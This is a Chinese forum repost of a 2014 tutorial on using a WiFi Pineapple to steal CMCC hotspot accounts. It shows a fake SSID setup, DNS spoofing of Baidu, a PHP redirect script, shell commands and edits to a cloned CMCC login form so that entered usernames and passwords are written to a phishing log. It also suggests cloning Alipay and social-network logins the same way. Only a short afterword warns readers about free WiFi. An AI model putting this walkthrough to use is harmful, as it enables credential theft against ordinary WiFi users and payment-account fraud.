搜索

[8051] 2014-05-28_玩转WiFiPineapple之看我如何优雅的盗取CMCC账号

文档创建者：s7ckTeam
浏览次数：40
最后更新：2025-01-17
2014-05-28_玩转WiFiPineapple之看我如何优雅的盗取CMCC账号 玩 转 W i F i   P i n e a p p l e 之 看 我 如 何 优 雅 的 盗 取 C M C C 账 号 a z 0 n e   F r e e B u f   2 0 1 4 - 0 5 - 2 8 感 谢 趋 势 科 技 的 欣 姐 给 我 寄 了 一 个 P i n e a p p l e ， 于 是 就 自 己 摸 索 开 始 玩 了 起 来 ， 国 内 p i n e a p p l e 的 资 料 不 太 多 ， 于 是 去 国 外 论 坛 去 逛 逛 ， 渣 渣 英 语 不 好 看 着 甚 是 不 舒 服 ， 算 了 自 己 来 鼓 捣 吧 。 准 备 ： 准 备 ： W i F i   P i n e a p p l e   M a r k   I V   一 个 网 线 一 根 P u T T Y ： 远 程 登 录 到 p i n e a p p l e 的 工 具
W i n S C P ： 用 于 拷 贝 文 件 到 p i n e a p p l e 中 目 的 ： 目 的 ： 其 他 p i n e a p p l e 的 玩 法 论 坛 早 已 经 有 大 牛 发 过 文 章 ， 有 兴 趣 的 童 鞋 自 己 去 找 一 下 。 今 天 我 给 大 家 分 享 的 是 D N S 劫 持 ， 和 利 用 D N S + 克 隆 登 录 界 面 劫 持 盗 取 c m c c 账 号 ， 这 只 其 中 的 一 种 玩 法 ， 可 以 同 理 去 克 隆 一 个 支 付 宝 登 录 界 面 和 其 他 社 交 账 号 神 马 的 。 过 程 ： 过 程 ： 开 始 吧 ， 首 先 配 置 p i n e a p p l e ： w e b   U I 登 录 地 址 h t t p : / / 1 7 2 . 1 6 . 4 2 . 1 : 1 4 7 1 用 户 名 ： r o o t   密 码 ： p i n e a p p l e s a r e y u m m y 登 录 后 改 一 下 默 认 密 码 ， 不 然 被 人 发 现 反 被 暴 菊 就 不 好 玩 了 ， 当 然 默 认 端 口 也 可 以 改 登 录 以 后 我 们 可 以 看 到 p i n e a p p l e 的 U I 界 面 我 们 今 天 所 用 到 的 是 s e r v i c e s 栏 目 里 的 D N S   S p o o f 功 能 ， D N S S p o o f 作 为 D s n i f f 工 具 包 的 其 中 一 个 程 序 ， 可 以 用 来 作 为 D N S 欺 骗 之 用 ， 使 得 访 问 W i F i P i n e A p p l e 的 用 户 可 以 访 问 你 重 新 设 置 D N S ， 默 认 是 关 闭 的 ， 点 击 s t a r t 打 开 。 下 一 步 我 们 配 置 p i n e a p p l e ， 选 择 上 面 栏 的 C o n f i g u r a t i o n   选 项 ， 然 后 修 改 p i n e a p p l e 的 S S I D 在 这 里 我 们 因 环 境 而 变 如 果 再 学 校 可 以 改 为 C M C C ， 在 麦 当 劳 可 以 改 为 M c D o n a l d ' s   其 他 环 境 可 以 改 为 F R E E W I F I 等 。 改 后 点 击 c h a n g e   S S I D   默 认 是 临 时 的 ， 如 果 想 重 启 后 还 可 以 继 续 使 用 的 话 就 选 中 P e r s i s t e n t 选 项 框 。 然 后 到 最 关 键 的 一 步 ， 设 置 D N S   S p o o f   C o n f i g 那 里 将 e x a m p l e . c o m   改 为 要 欺 骗 的 网 址 ， 我 这 里 设 置 百 度 ， 因 为 好 多 人 默 认 首 页 就 是 百 度 ， 也 可 以 改 为 其 他 。 然 后 U p d a t a   S p o o f h o s t ， p i n e a p p l e 配 置 完 成 。 下 一 步 我 们 来 配 置 p i n e a p p l e 内 的 文 件 ， P u T T Y 连 接 上 p i n e a p p l e , i p 是 1 7 2 . 1 6 . 4 2 . 1 ， 账 号 密 码 如 果 没 有 改 的 话 就 是 默 认 登 录 那 个 连 接 上 后 首 先 （ 一 下 过 程 给 没 有 l i n u x 基 础 的 童 鞋 看 ， 大 牛 略 过 ） p w c d   . . / l s c d   w w w v i m   r e d i r e c t . p h p < ? p h p $ r e f   =   " h t t p : / / " . $ _ S E R V E R [ & # 0 3 9 ; H T T P _ H O S T & # 0 3 9 ; ] . $ _ S E R V E R [ & # 0 3 9 ; R E Q U E S T _ U R I & # 0 3 9 ; ] ;       i f   ( s t r p o s ( $ r e f ,   " e x a m p l e " ) ) {           h e a d e r ( & # 0 3 9 ; S t a t u s :   3 0 2   F o u n d & # 0 3 9 ; ) ;
        h e a d e r ( & # 0 3 9 ; L o c a t i o n :   e x a m p l e . h t m l & # 0 3 9 ; ) ; } r e q u i r e ( & # 0 3 9 ; e r r o r . p h p & # 0 3 9 ; ) ; ? > 将 e x a m p l e   改 为 b a i d u   将 e x a m p l e . h t m l 改 为 b a i d u . h t m l ， 然 后 保 存 退 出 （ 不 会 v i m 的 自 己 百 度 一 下 ） c d   . . / m k d i r   w e b c d   w e b t o u c h   b a i d u . h t m l v i m   b a i d u . h t m l h t m l 里 的 内 容 就 可 以 自 由 发 挥 啦 。 修 改 后 保 存 退 出 ， 创 建 一 个 虚 拟 连 接 c d   . . / c d   w w w l n   - s   / w e b / *   / w w w / l s   - a l 然 后 就 可 以 开 始 D N S s p o o f 啦 , 当 别 人 连 接 如 你 伪 造 的 免 费 w i f i 热 点 时 ， 打 开 百 度 的 效 果 如 下 : 下 面 开 始 我 们 的 邪 恶 计 划 ， 盗 取 c m c c 账 号 ， 其 实 你 只 要 上 面 的 可 以 弄 对 ， 那 么 下 面 的 也 差 不 多 是 一 样 的 。 首 先 用 电 脑 连 接 c m c c ， 然 后 打 开 浏 览 器 等 到 跳 出 登 陆 界 面 时 ， 在 浏 览 器 中 将 网 页 文 件 保 存 ， 保 存 后 得 到 一 个 c m c c . h t m l 和 一 个 c m c c _ f i l e 的 文 件 夹 其 实 最 主 要 的 是 i n p u t . h t m l 那 个 文 件 夹 ， 只 要 对 源 码 稍 加 改 造 就 o k 啦 。 我 们 将 c m c c _ f i l e 文 件 用 W i n S C P 上 传 到 p i n e a p p l e 的 w e b 文 件 夹 中 然 后 按 照 上 面 的 步 骤 修 改 r e d i r e c t . p h p   改 为 i n p u t . h t m l   ， 之 后 我 们 对 i n p u t . h t m l 进 行 改 造 ， 找 到 关 键 的 地 方 。 < F O R M   n a m e = " s t a t i c l o g i n "   i d = " s t a t i c l o g i n i d "   o n s u b m i t = " r e t u r n   c h e c k F i e l d ( t h i s ) "               a c t i o n = " e r r o r . p h p "   m e t h o d = " p o s t " >             < D I V >             < D I V   c l a s s = " l o g i n l i n p u t " >             < D I V   c l a s s = " l o g i n l t " > 用 户 名 < / D I V >             < D I V   c l a s s = " l i n p u t " > < I N P U T   n a m e = " n a m e "   c l a s s = " l i n p u t b "   i d = " s t a t i c u s e r n a m e i d "               t y p e = " t e x t "   m a x l e n g t h = " 2 0 "   v a l u e = " 1 5 1 1 1 4 0 1 3 5 5 " > < / D I V > < / D I V >             < D I V   c l a s s = " l o g i n l i n p u t " >             < D I V   c l a s s = " l o g i n l t " > 密   码 < / D I V >             < D I V   c l a s s = " l i n p u t " >
                    < I N P U T   n a m e = " p a s s "   c l a s s = " l i n p u t b "   i d = " s p i d "   t y p e = " t e x t "   v a l u e = " 输 入 固 定 密 码 / 动 态 密 码 " >                                         < I N P U T   n a m e = " p a s s "   c l a s s = " l i n p u t b "   i d = " s t a t i c p a s s w o r d i d "   s t y l e = " d i s p l a y :   n o n e ; "   t y p e = " p a s s w o r d "   m a x l e n g t h = " 1 6 " >             < / D I V >             < D I V   c l a s s = " l o s t p a s s w o r d " >             < ! - -   < a   h r e f = " j a v a s c r i p t : v o i d ( 0 ) "   i d = " l o s t p a s s w o r d "   o n c l i c k = " m o d i f y _ p a s s w d ( ) " > 忘 记 密 码 ? < / a > - - >             < A   i d = " a p p l y a u t o p w d "   o n c l i c k = " a p p l y _ a u t o p w d ( ) "   h r e f = " j a v a s c r i p t : v o i d ( 0 ) " > 获 取 动 态 密 码 < / A >             < / D I V > < / D I V > 1 . 将 < F O R M   n a m e = " s t a t i c l o g i n "   i d = " s t a t i c l o g i n i d "   o n s u b m i t = " r e t u r n   c h e c k F i e l d ( t h i s ) "   a c t i o n = " e r r o r . p h p "   m e t h o d = " p o s t " > 里 的 a c t i o n = " " 改 为 a c t i o n = " e r r o r . p h p " 2 . 将 用 户 名 下 面 的 < I N P U T   n a m e = " n a m e "   c l a s s = " l i n p u t b "   i d = " s t a t i c u s e r n a m e i d "   t y p e = " t e x t "   m a x l e n g t h = " 2 0 "   v a l u e = " 1 5 1 1 1 4 0 1 3 5 5 " >   中 的 n a m e = " " 改 为 n a m e = " n a m e " 3 . 将 用 户 名 下 面 的 < I N P U T   n a m e = " p a s s "   c l a s s = " l i n p u t b "   i d = " s p i d "   t y p e = " t e x t "   v a l u e = " 输 入 固 定 密 码 / 动 态 密 码 " > 里 的   n a m e = "   " 改 为 n a m e = " p a s s " 保 存 后 就 可 以 欺 骗 了 ， 效 果 如 下 : 只 要 登 录 以 后 账 号 密 码 就 会 被 记 录 到 / p i n e a p p l e / l o g s / p h i s h . l o g 中 ， 当 然 也 可 以 在 w e b 界 面 上 面 栏 目 中 的 l o g s 中 。 才 一 会 就 有 鱼 儿 上 钩 了 ， 其 他 账 号 的 盗 取 同 理 ， 大 家 自 由 发 挥 吧 。

后 记 ： 后 记 ： 现 在 大 家 部 分 人 对 免 费 的 w i f i 有 一 一 定 的 警 惕 性 ， 但 是 类 似 于 C M C C 这 种 移 动 的 热 点 大 家 就 会 放 松 警 惕 ， 假 如 我 再 发 挥 一 下 在 p i n e a p p l e 载 一 个 3 G 网 卡 ， 就 完 全 可 以 欺 骗 你 ， 当 你 以 为 连 接 上 了 C M C C 放 心 的 购 物 时 ， 你 的 支 付 宝 密 码 就 在 不 知 不 觉 中 不 见 鸟 ， 所 以 别 人 的 w i f i 慎 用 就 是 是 C M C C ， 支 付 时 候 最 好 切 换 g p r s 流 量 吧 。 文 章 中 有 不 准 确 的 地 方 请 给 我 提 出 ， 谢 谢 给 位 。 博 客 地 址 ： w w w . a z o n e . a s i a 微 博   求 互 粉   O ( ∩ _ ∩ ) O ~ 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理